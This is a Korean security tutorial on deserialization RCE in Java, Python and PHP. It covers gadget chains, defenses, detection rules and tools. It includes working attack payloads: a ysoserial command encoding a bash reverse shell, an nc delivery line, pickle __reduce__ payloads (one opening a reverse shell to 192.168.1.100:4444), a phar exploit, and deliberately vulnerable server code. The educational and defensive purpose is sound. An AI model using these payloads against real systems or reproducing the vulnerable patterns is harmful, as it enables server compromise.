역직렬화(Deserialization) 공격 (Java/Python/PHP RCE)
기본 원리
역직렬화(Deserialization) 공격은 신뢰할 수 없는 데이터를 역직렬화하는 과정에서 공격자가 임의의 코드를 실행하거나 애플리케이션의 로직을 변조하는 공격 기법입니다. OWASP Top 10에 포함될 만큼 광범위하게 발생하며, 특히 Java, Python, PHP, Ruby 등 다양한 언어에서 치명적인 취약점으로 나타납니다.
직렬화와 역직렬화란?
직렬화 (Serialization):
객체 → 바이트 스트림 / 문자열
역직렬화 (Deserialization):
바이트 스트림 / 문자열 → 객체
직렬화는 객체를 저장하거나 네트워크로 전송하기 위해 변환하는 과정입니다. 역직렬화는 그 반대로, 변환된 데이터에서 객체를 복원합니다. 문제는 역직렬화 과정에서 객체 생성에 따른 코드(생성자, 소멸자, 매직 메서드 등)가 실행될 수 있다는 점입니다.
공격의 핵심 개념: 가젯 체인(Gadget Chain)
공격자는 애플리케이션의 클래스패스에 이미 존재하는 클래스들의 메서드를 체인처럼 연결하여 RCE를 달성합니다. 이미 로드된 라이브러리에서 "가젯(gadget)"이 될 수 있는 클래스들을 조합합니다.
역직렬화 진입점 → Gadget 1 (체인 시작) → Gadget 2 → ... → 코드 실행
Java 역직렬화 공격
취약한 코드 패턴
import java.io.*;
import java.net.*;
// 취약한 서버 코드
public class VulnerableServer {
public static void main(String[] args) throws Exception {
ServerSocket serverSocket = new ServerSocket(8080);
while (true) {
Socket client = serverSocket.accept();
ObjectInputStream ois = new ObjectInputStream(
client.getInputStream()
);
// 위험! 신뢰할 수 없는 데이터를 그대로 역직렬화
Object obj = ois.readObject();
processObject(obj);
}
}
}
Commons Collections 가젯 체인 (CVE-2015-4852)
Apache Commons Collections 3.1은 Java 역직렬화 공격에서 가장 유명한 가젯 체인을 제공합니다.
// 가젯 체인의 핵심 클래스들
// 1. InvokerTransformer - 리플렉션을 통해 임의 메서드 호출
// 2. ChainedTransformer - 여러 Transformer를 체인으로 연결
// 3. LazyMap - get() 호출 시 transform 실행
// 4. TiedMapEntry - toString() 호출 시 map.get() 실행
// 5. BadAttributeValueExpException - 역직렬화 시 toString() 호출
// ysoserial 도구를 사용한 페이로드 생성
// java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.ser
# ysoserial을 이용한 페이로드 생성
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Windows 계산기 실행 페이로드
java -jar ysoserial-all.jar CommonsCollections1 "calc.exe" > cc1.ser
# Linux에서 리버스쉘 페이로드
java -jar ysoserial-all.jar CommonsCollections6 \
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" \
> revshell.ser
# 취약한 서버로 페이로드 전송
nc -w 3 vulnerable-server.com 8080 < revshell.ser
Spring Framework 역직렬화 (CVE-2016-1000027)
// Spring의 HttpInvokerServiceExporter 취약점
// 취약한 설정
@Bean
public HttpInvokerServiceExporter accountService() {
HttpInvokerServiceExporter exporter = new HttpInvokerServiceExporter();
exporter.setService(new AccountServiceImpl());
exporter.setServiceInterface(AccountService.class);
return exporter;
}
// 이 엔드포인트로 악성 직렬화 데이터 전송 가능
// POST /accountService HTTP/1.1
// Content-Type: application/x-java-serialized-object
안전한 역직렬화 구현 (Java)
import java.io.*;
import java.util.Set;
import java.util.HashSet;
// 화이트리스트 기반 역직렬화 필터
public class SafeObjectInputStream extends ObjectInputStream {
// 허용된 클래스 목록
private static final Set<String> ALLOWED_CLASSES = new HashSet<>();
static {
ALLOWED_CLASSES.add("com.myapp.models.User");
ALLOWED_CLASSES.add("com.myapp.models.Order");
ALLOWED_CLASSES.add("java.util.ArrayList");
ALLOWED_CLASSES.add("java.lang.String");
}
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String className = desc.getName();
if (!ALLOWED_CLASSES.contains(className)) {
throw new SecurityException(
"허용되지 않은 클래스 역직렬화 시도: " + className
);
}
return super.resolveClass(desc);
}
}
// Java 9+ 직렬화 필터
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.myapp.models.*;java.util.*;java.lang.String;!*"
);
ois.setObjectInputFilter(filter);
Python 역직렬화 공격 (Pickle)
Pickle 취약점 원리
Python의 pickle 모듈은 역직렬화 시 __reduce__ 메서드를 호출하며, 이를 통해 임의의 코드 실행이 가능합니다.
import pickle
import os
import base64
# 악성 페이로드 클래스
class MaliciousPayload:
def __reduce__(self):
# 역직렬화 시 실행될 명령
cmd = "id > /tmp/pwned; whoami >> /tmp/pwned"
return (os.system, (cmd,))
# 페이로드 직렬화
payload = pickle.dumps(MaliciousPayload())
print(f"페이로드 (base64): {base64.b64encode(payload).decode()}")
# 취약한 서버에서 이 데이터를 역직렬화하면 명령 실행
# pickle.loads(payload) → os.system("id > /tmp/pwned") 실행
리버스 쉘 페이로드
import pickle
import os
import socket
import subprocess
import base64
class ReverseShell:
def __reduce__(self):
# 리버스 쉘 코드
reverse_shell_code = (
"python3 -c '"
"import socket,subprocess,os;"
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
"s.connect((\"192.168.1.100\",4444));"
"os.dup2(s.fileno(),0);"
"os.dup2(s.fileno(),1);"
"os.dup2(s.fileno(),2);"
"subprocess.call([\"/bin/sh\",\"-i\"])'"
)
return (os.system, (reverse_shell_code,))
# 페이로드 생성
payload = base64.b64encode(pickle.dumps(ReverseShell())).decode()
print(f"Pickle payload: {payload}")
취약한 Flask 앱 예시
from flask import Flask, request, jsonify
import pickle
import base64
app = Flask(__name__)
# 취약한 API 엔드포인트
@app.route('/api/load-session', methods=['POST'])
def load_session():
data = request.json.get('session_data')
# 위험! 사용자 입력을 그대로 역직렬화
session = pickle.loads(base64.b64decode(data))
return jsonify({'user': session.get('username')})
안전한 Python 직렬화
import json
import hmac
import hashlib
import os
SECRET_KEY = os.environ.get('SECRET_KEY', os.urandom(32))
class SafeSerializer:
"""JSON 기반 안전한 직렬화"""
@staticmethod
def serialize(data: dict) -> str:
json_str = json.dumps(data, ensure_ascii=False)
# HMAC 서명 추가
signature = hmac.new(
SECRET_KEY,
json_str.encode(),
hashlib.sha256
).hexdigest()
return f"{json_str}:{signature}"
@staticmethod
def deserialize(token: str) -> dict:
try:
json_str, signature = token.rsplit(':', 1)
# 서명 검증
expected = hmac.new(
SECRET_KEY,
json_str.encode(),
hashlib.sha256
).hexdigest()
if not hmac.compare_digest(signature, expected):
raise ValueError("서명 검증 실패 - 데이터 변조 의심")
return json.loads(json_str)
except Exception as e:
raise ValueError(f"역직렬화 실패: {e}")
# 사용 예시
serializer = SafeSerializer()
token = serializer.serialize({'user_id': 123, 'role': 'user'})
data = serializer.deserialize(token)
PHP 역직렬화 공격
PHP Magic Method 악용
PHP는 역직렬화 시 자동으로 호출되는 매직 메서드들이 있습니다.
<?php
// 위험한 매직 메서드들
class VulnerableClass {
public $command;
// 역직렬화 완료 시 자동 호출
public function __wakeup() {
// $command가 공격자에 의해 제어됨
echo shell_exec($this->command); // RCE!
}
// 소멸자 - 객체가 해제될 때 호출
public function __destruct() {
system($this->command); // RCE!
}
// 문자열로 변환 시 호출
public function __toString() {
return file_get_contents($this->command); // 파일 읽기!
}
}
// 취약한 코드
$data = $_COOKIE['user_data'];
$obj = unserialize($data); // 위험!
PHP 가젯 체인 예시
<?php
// 실제 공격에서 사용되는 가젯 체인 패턴
// (Monolog 라이브러리를 활용한 예시)
class ExploitChain {
// 1단계: __destruct → __toString 호출 체인
public $logger;
public function __destruct() {
// logger를 문자열로 강제 변환
$result = (string)$this->logger;
}
}
class FakeLogger {
public $handler;
// 2단계: __toString → handler 메서드 호출
public function __toString() {
return $this->handler->handle(['message' => 'test']);
}
}
// 페이로드 생성
$exploit = new ExploitChain();
$logger = new FakeLogger();
// ... 체인 구성
$payload = serialize($exploit);
echo base64_encode($payload);
PHP Phar 역직렬화 (파일 작업 시)
<?php
// phar:// 스트림 래퍼를 이용한 역직렬화
// 파일 존재 여부 확인만 해도 역직렬화 트리거됨
class MaliciousClass {
public function __destruct() {
system('id');
}
}
// 악성 phar 파일 생성 (공격자 측)
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$obj = new MaliciousClass();
$phar->setMetadata($obj); // 직렬화된 객체 포함
$phar->stopBuffering();
// 공격: 업로드된 malicious.phar를 file_exists()로 접근하면 RCE
// file_exists("phar:///uploads/malicious.jpg") // .phar가 아닌 다른 확장자도 가능
안전한 PHP 구현
<?php
// JSON 사용으로 Pickle/unserialize 대체
class SafeSession {
private $secret;
public function __construct(string $secret) {
$this->secret = $secret;
}
public function encode(array $data): string {
$json = json_encode($data, JSON_THROW_ON_ERROR);
$signature = hash_hmac('sha256', $json, $this->secret);
return base64_encode($json . '.' . $signature);
}
public function decode(string $token): array {
$decoded = base64_decode($token);
$lastDot = strrpos($decoded, '.');
$json = substr($decoded, 0, $lastDot);
$signature = substr($decoded, $lastDot + 1);
$expectedSig = hash_hmac('sha256', $json, $this->secret);
// 타이밍 공격 방지를 위한 상수 시간 비교
if (!hash_equals($expectedSig, $signature)) {
throw new \RuntimeException('서명 검증 실패');
}
return json_decode($json, true, 512, JSON_THROW_ON_ERROR);
}
}
방어 방법
1. 공통 방어 원칙
✓ 직렬화된 데이터를 절대 신뢰하지 않음
✓ 역직렬화 전 무결성 검증 (HMAC, 디지털 서명)
✓ 안전한 형식으로 대체 (JSON, XML 스키마 검증 후)
✓ 역직렬화 클래스 화이트리스트 적용
✓ 역직렬화 실행 환경 격리 (샌드박스)
✓ 최소 권한 원칙으로 실행
2. Java 직렬화 완전 비활성화
// ObjectInputStream을 완전히 차단하는 에이전트
// -javaagent:notSerializableExceptionAgent.jar 옵션으로 실행
public class NotSerializableExceptionAgent {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer) -> {
if (className.equals("java/io/ObjectInputStream")) {
// 바이트코드 수정으로 역직렬화 차단
return patchObjectInputStream(classfileBuffer);
}
return classfileBuffer;
});
}
}
탐지 방법
Java 역직렬화 트래픽 탐지
# Wireshark/tcpdump로 Java 직렬화 매직 바이트 탐지
# Java 직렬화 데이터는 0xACED0005로 시작
tcpdump -i eth0 -w capture.pcap 'tcp port 8080'
# 캡처된 데이터에서 Java 직렬화 매직 바이트 검색
python3 -c "
import re, sys
data = open('capture.pcap', 'rb').read()
# Java 직렬화 매직 바이트
magic = b'\xac\xed\x00\x05'
positions = [i for i in range(len(data)) if data[i:i+4] == magic]
print(f'Java 직렬화 데이터 발견: {len(positions)}건')
for pos in positions[:5]:
print(f' 오프셋 {pos}: {data[pos:pos+50].hex()}')
"
YARA 규칙으로 페이로드 탐지
rule JavaDeserializationPayload {
meta:
description = "Java 역직렬화 공격 페이로드 탐지"
severity = "HIGH"
strings:
// Java 직렬화 매직 바이트
$java_magic = { AC ED 00 05 }
// Commons Collections 관련 클래스명
$cc1 = "org.apache.commons.collections"
$cc2 = "InvokerTransformer"
$cc3 = "ChainedTransformer"
// Runtime 실행 패턴
$runtime = "java/lang/Runtime"
$exec = "exec"
condition:
$java_magic and any of ($cc1, $cc2, $cc3) and
any of ($runtime, $exec)
}
애플리케이션 레벨 모니터링
// 역직렬화 시도 감사 로깅
public class AuditingObjectInputStream extends ObjectInputStream {
private static final Logger logger =
LoggerFactory.getLogger(AuditingObjectInputStream.class);
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String className = desc.getName();
logger.warn("역직렬화 시도: 클래스={}, IP={}",
className, getCurrentRequestIP());
// 메트릭 수집
Metrics.counter("deserialization.attempt",
"class", className).increment();
return super.resolveClass(desc);
}
}
참고 도구 및 자원
| 도구/자원 | 종류 | 설명 | URL |
|---|---|---|---|
| ysoserial | 공격 도구 | Java 역직렬화 페이로드 생성기 | github.com/frohoff/ysoserial |
| marshalsec | 공격 도구 | 다양한 Java 직렬화 라이브러리 페이로드 | github.com/mbechler/marshalsec |
| PHPGGC | 공격 도구 | PHP 가젯 체인 생성기 | github.com/ambionics/phpggc |
| Serialization Killer | 방어 도구 | Java 역직렬화 차단 라이브러리 | github.com/Wouter-Cams/serialization-killer |
| NotSoSerial | 방어 도구 | Java 역직렬화 Java Agent | github.com/kantega/notsoserial |
| OWASP Deserialize Cheat Sheet | 참고 문서 | 언어별 안전한 역직렬화 가이드 | cheatsheetseries.owasp.org |
⚠️ 주의사항: 역직렬화 공격은 단순한 데이터 조작을 넘어 서버 전체를 장악하는 RCE로 직결될 수 있는 매우 위험한 취약점입니다. ysoserial, PHPGGC 등의 도구는 교육 및 취약점 연구 목적으로만 사용해야 하며, 허가받지 않은 시스템에 대한 사용은 중대한 범죄 행위입니다. 프로덕션 환경에서는 직렬화 자체를 최소화하고 JSON 등 안전한 대안을 사용하는 것을 강력히 권장합니다.